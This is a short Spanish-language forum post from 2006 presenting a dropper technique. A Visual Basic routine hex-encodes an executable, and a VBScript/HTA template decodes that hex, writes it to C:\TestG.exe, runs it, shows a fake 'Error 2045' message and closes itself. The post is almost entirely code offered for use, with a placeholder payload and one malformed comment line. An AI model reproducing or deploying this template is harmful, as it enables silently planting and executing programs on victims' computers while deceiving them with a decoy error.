26
« en: Miércoles 8 de Noviembre de 2006, 21:00 »
miren esto en VBS:
Si queremos ejecutar un exe en la pc, debemos pasarlo a hexadecimal primero
colocamos este code en visual basic, para pasar el exe a hexadecimal
-------------------------------------------------------
Open "c:\mi_exe.exe" For Binary As #1
Open "c:\mi_exe.txt" For Output As #2
A$ = " "
While Not EOF(1)
Get #1, , A$
B$ = Hex$(Asc(A$))
If Len(B$) = 1 Then B$ = "0" + B$
Print #2, B$;
Wend
Close
-------------------------------------------------------
Lo que nos de en mi_exe.txt lo ponemos en el script a ejecutar de esta forma:
--------------------------------------------------------------------------
<script Language='VBScript'>
'Resumidor de errores y objetos fso y ws
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
'var con el code hexa del exe
HExeFile="4D5A90000300000.......code.hexa......0000000000000000000000000000"
'luego de 1 segundo llama al sub ExecFile
id = setTimeout("ExecFile()", 1000)
'Sub que escribe y ejecuta al exe
Sub ExecFile()
Set db = FSO.CreateTextFile("C:\TestG.exe")
db.Write Dcd(HExeFile)
db.Close
WS.Run "C:\TestG.exe": document.write "Error 2045"
->Esto para cerrar el hta despues de ejecutar el exe
window.close()
End Sub
'funcion que pasa el code hexa a binario para escribirlo en el exe
Function Dcd(HT)
For i = 1 To Len(HT) Step 2
tb = Chr(37+1) & Chr(72) & Mid(HT, i, 2): tt = tt & Chr(tb)
Next
Dcd = tt
End Function
</Script>
fuente cyruxnet.org